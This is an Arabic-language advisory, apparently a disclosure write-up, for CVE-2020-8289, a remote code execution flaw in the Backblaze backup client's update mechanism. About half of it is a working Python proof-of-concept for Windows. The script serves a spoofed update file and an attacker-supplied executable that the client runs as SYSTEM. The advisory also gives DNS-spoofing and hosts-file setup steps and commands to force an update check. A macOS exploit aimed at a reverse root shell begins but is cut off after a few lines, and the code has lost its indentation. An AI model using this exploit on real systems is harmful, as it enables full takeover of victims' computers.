
استغلال إثبات المفهوم لثغرة CVE-2020-8289 يوضح تنفيذ تعليمات برمجية عن بُعد بصلاحيات SYSTEM/root عبر تجاوز التحقق من شهادة SSL في عميل النسخ الاحتياطي Backblaze وآلية التحديث غير المُتحقَّق منها.
الاسم: تنفيذ التعليمات البرمجية عن بُعد بصلاحيات SYSTEM/root عبر Backblaze
CVE: CVE-2020-8289
المكتشف: Jason Geffner
البائع: Backblaze
المنتج: Backblaze لنظام Windows و Backblaze لنظام macOS
الخطر: حرج
تاريخ الاكتشاف: 2020-03-13
تاريخ النشر: 2020-09-09
الإصدار المُصحح: 7.0.1.433 (Windows) و 7.1.0.434 (macOS)
وفقًا لويكيبيديا، Backblaze هو
"أداة نسخ احتياطي عبر الإنترنت تسمح لمستخدمي Windows و macOS بنسخ بياناتهم احتياطيًا إلى مراكز بيانات خارج الموقع. الخدمة مصممة للشركات والمستخدمين النهائيين، وتوفر مساحة تخزين غير محدودة وتدعم أحجام ملفات غير محدودة."
تحتوي الإصدارات الضعيفة من Backblaze لنظام Windows و Backblaze لنظام macOS على ثغرة أمنية ذات خطورة حرجة تسمح لمهاجم مجهول غير مصرح له عن بُعد بتنفيذ تعليمات برمجية عن بُعد (RCE) بصلاحيات SYSTEM/root.
عملية خدمة عميل Backblaze، المُسماة bzserv، تعمل كـ SYSTEM على Windows وكـ root على macOS. كل بضع ساعات، يقوم bzserv بتشغيل برنامج يُسمى bztransmit (يُتنفذ كـ SYSTEM/root) لتنزيل ملف XML يُسمى clientversion.xml من مركز بيانات Backblaze لمعرفة ما إذا كان هناك إصدار أحدث من عميل Backblaze متاح للتنزيل. يتم إنشاء عنوان URL لملف XML هذا من اسم مضيف bzdatacenter في ملف bzinstall.xml المثبت (للقراءة فقط للمستخدمين غير المصرح لهم) والمسار الثابت api/clientversion.xml، مما ينتج عنه عنوان URL مثل https://ca000.backblaze.com/api/clientversion.xml. يتم هذا التنزيل عبر مكتبة libcurl المرتبطة بشكل ثابت. ومع ذلك، تحتوي وظائف bztransmit التي تستخدم libcurl على منطق غريب يجعلها تضبط CURLOPT_SSL_VERIFYPEER على 0 و CURLOPT_SSL_VERIFYHOST على 0 إذا كان عنوان URL المُعطى يحتوي على إحدى السلاسل التالية:
.backblaze.xyz/.backblazeb2.xyz/api/clientversion.xmlapi/install_backblazeيسمح هذا لمهاجم عن بُعد بانتحال شخصية خادم الويب https://ca000.backblaze.com/ بشهادة SSL غير صالحة (على سبيل المثال، شهادة موقعة ذاتيًا) وتزويد العميل بملف clientversion.xml يتحكم فيه المهاجم. عندما يقوم bztransmit بتحليل ملف XML الذي تم تنزيله، فإنه يتحقق مما إذا كان أحدث إصدار عميل موصوف في ملف XML أحدث من إصدار العميل المثبت، وإذا كان الأمر كذلك، فإنه يقوم بتنزيل مثبت أحدث إصدار عميل من مركز بيانات Backblaze. يتم إنشاء عنوان URL لهذا التنزيل من سمة win32_url/mac_url في ملف clientversion.xml الذي تم تنزيله؛ يجب أن تبدأ قيمة السمة بـ %DEST_HOST% ويتم استبدال هذه السلسلة في وقت التشغيل باسم مضيف مركز البيانات الموصوف أعلاه. وبالتالي يمكن للمهاجم توفير عنوان URL للتنزيل مثل %DEST_HOST%/api/install_backblaze في ملف clientversion.xml الخاص به، مما يتسبب في قيام bztransmit بتنزيل المثبت من https://ca000.backblaze.com/api/install_backblaze، وتجاهل شهادة SSL للخادم مرة أخرى بسبب سلسلة api/install_backblaze في عنوان URL. إذا لم يكن الملف الذي تم تنزيله ملف ZIP (على سبيل المثال، إذا كان ملف PE أو ملف Mach-o)، فإن التحقق الوحيد من الملف الذي يقوم به bztransmit هو أن يحتوي الملف على السلسلة bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxyxzgromitxxkublerrossxxskiepicxxnukepavex في نطاق إزاحة معين في الملف. بمجرد نجاح هذا التحقق، يستخدم bztransmit ShellExecute()/system() لتشغيل الملف الذي تم تنزيله كـ SYSTEM/root، مما يسمح للمهاجم بتنفيذ RCE كـ SYSTEM/root.
فيديو: https://youtu.be/W0THXbcX5V8
إثبات المفهوم هذا مخصص لعميل Windows. نفترض أن المهاجم قد أرسل بالفعل استجابة DNS مُزيفة للضحية لتوجيه ca000.backblaze.com إلى عنوان IP الخاص بالمهاجم، ولكن لأغراض اختبار PoC يمكنك بدلاً من ذلك إضافة السطر <attacker's IP> ca000.backblaze.com إلى ملف %windir%\System32\drivers\etc\hosts الخاص بالضحية. يتوقع الكود أدناه أن يوفر المهاجم rce.exe (الذي سيتم تنفيذه كـ SYSTEM على نظام الضحية) و server.pem (يمكن أن يكون موقّعًا ذاتيًا).
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for Windows."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
bzmagicpat = b"bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
b"xzgromitxxkublerrossxxskiepicxxnukepavex"
with open("rce.exe", "rb") as f:
exe = f.read()
if len(exe) > (50200 - len(bzmagicpat)):
raise("EXE too large")
exe += bzmagicpat
exe += b"\x00" * (50304 - len(exe))
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", str(len(exe)))
self.end_headers()
self.wfile.write(exe)
def do_POST(self):
self.send_response(200)
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"})
response = str.encode(
' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
' win32_version="1' + form.getvalue("version") + '"' +
' win32_url="%DEST_HOST%/api/install_backblaze"')
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200\r\n")
self.end_headers()
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0
httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
server_side=True)
httpd.serve_forever()
بمجرد تشغيل الكود أعلاه، انتظر. يقوم عميل الضحية بالتحقق من وجود تحديث كل بضع ساعات.
إذا كنت ترغب في اختبار PoC دون انتظار، يمكنك تشغيل الأوامر التالية كـ SYSTEM (باستخدام psexec، على سبيل المثال) على نظام الضحية لفرض التحقق من التحديث:
del %ProgramData%\Backblaze\bzdata\bzupdates\bzautoupdate_2_hour_lock.lckbztransmit.exe -fetchclientversionxmlbztransmit.exe -downloadautoupdateifappropriateفيديو: https://youtu.be/ILPP1Ky5nuY
إثبات المفهوم هذا مخصص لعميل macOS. في العالم الحقيقي، سيرسل المهاجم استجابة DNS مُزيفة للضحية لتوجيه ca000.backblaze.com إلى عنوان IP الخاص بالمهاجم، ولكن لأغراض PoC، فإننا نهاجم من نفس نظام الضحية ونستغل خدمة Backblaze المخترقة لإنشاء غلاف بعيد (remote shell) يعود إلى المهاجم، مما يمنح المهاجم المحتمل البعيد وصول root.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for macOS."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
attacker_ip = "localhost"
attacker_port = 12345